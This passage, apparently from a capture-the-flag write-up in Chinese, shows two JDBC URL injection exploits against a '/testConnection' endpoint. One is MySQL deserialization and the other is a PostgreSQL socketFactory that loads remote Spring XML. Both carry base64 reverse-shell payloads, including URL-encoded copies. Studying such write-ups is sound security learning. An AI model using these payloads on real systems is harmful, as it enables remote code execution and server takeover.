/testConnection?driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://192.168.124.9:43114/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSAxxxxxjEwMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}&password=123

jdbc url编码一层:

1
/testConnection?driver=com.mysql.cj.jdbc.Driver&url=%6a%64%62%63%3a%6d%79%73%71%6c%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%39%3a%34%33%31%31%34%2f%74%65%73%74%3f%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65%3d%74%72%75%65%26%71%75%65%72%79%49%6e%74%65%72%63%65%70%74%6f%72%73%3d%63%6f%6d%2e%6d%79%73%71%6c%2e%63%6a%2e%6a%64%62%63%2e%69%6e%74%65%72%63%65%70%74%6f%72%73%2e%53%65%72%76%65%72%53%74%61%74%75%73%44%69%66%66%49%6e%74%65%72%63%65%70%74%6f%72&username=%64%65%73%65%72%5f%43%43%33%31%5f%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%78%4d%54%55%75%4d%6a%41%30%4c%6a%45%77%4d%53%38%34%4f%44%67%34%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d&password=123

然后打过去:
image.png
image.png

方法二 用postgresql驱动

构造xml:

https://xz.aliyun.com/t/11812

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>

前面可以用httpd快速开放一个服务即可。
payload:

1
/testConnection?driver=org.postgresql.Driver&url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://host.docker.internal:8000/poc.xml&username=123&password=123

url编码:

1
/testConnection?driver=org.postgresql.Driver&url=%6a%64%62%63%3a%70%6f%73%74%67%72%65%73%71%6c%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%35%34%33%32%2f%74%65%73%74%3f%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%3d%6f%72%67%2e%73%70%72%69%6e%67%66%72%61%6d%65%77%6f%72%6b%2e%63%6f%6e%74%65%78%74%2e%73%75%70%70%6f%72%74%2e%43%6c%61%73%73%50%61%74%68%58%6d%6c%41%70%70%6c%69%63%61%74%69%6f%6e%43%6f%6e%74%65%78%74%26%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%41%72%67%3d%68%74%74%70%3a%2f%2f%68%6f%73%74%2e%64%6f%63%6b%65%72%2e%69%6e%74%65%72%6e%61%6c%3a%38%30%30%30%2f%70%6f%63%2e%78%6d%6c&username=123&password=123

或者生成payload:
image.png

总结

感觉这个比赛的东西很适合学习,层层递进。像我这样的Java苦手也可以复现,但是理解就需要后续的继续努力了。